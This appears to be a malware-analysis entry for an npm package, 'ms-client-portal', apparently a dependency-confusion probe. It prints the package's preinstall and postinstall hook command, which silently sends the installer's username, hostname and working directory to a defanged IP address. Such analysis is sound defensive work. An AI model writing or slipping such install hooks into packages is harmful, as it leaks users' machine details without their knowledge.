ms-client-portal@1.0.0

Analysis

Package ships only package.json and README.md (no index.js despite a "main" field) but declares preinstall and postinstall lifecycle hooks that execute an inline Node.js command on install: `node -e "require('http').get('hxxp://38[.]242[.]235[.]206/depconf/ms-client-portal/preinstall?u=<USERNAME>&h=<hostname>&p=<cwd>')"`, with the same GET repeated for the /postinstall path. Both requests send the installing user's username (process.env.USER or USERNAME), machine hostname and working directory over plain HTTP to a bare IP address, and swallow errors so the install appears normal. No payload is fetched or executed and no files are read. The name corresponds to an internal project name; the package describes itself as a "defensive placeholder" whose install scripts send a single GET to a researcher server. Callback beacon endpoints: hxxp://38[.]242[.]235[.]206/depconf/ms-client-portal/preinstall and hxxp://38[.]242[.]235[.]206/depconf/ms-client-portal/postinstall.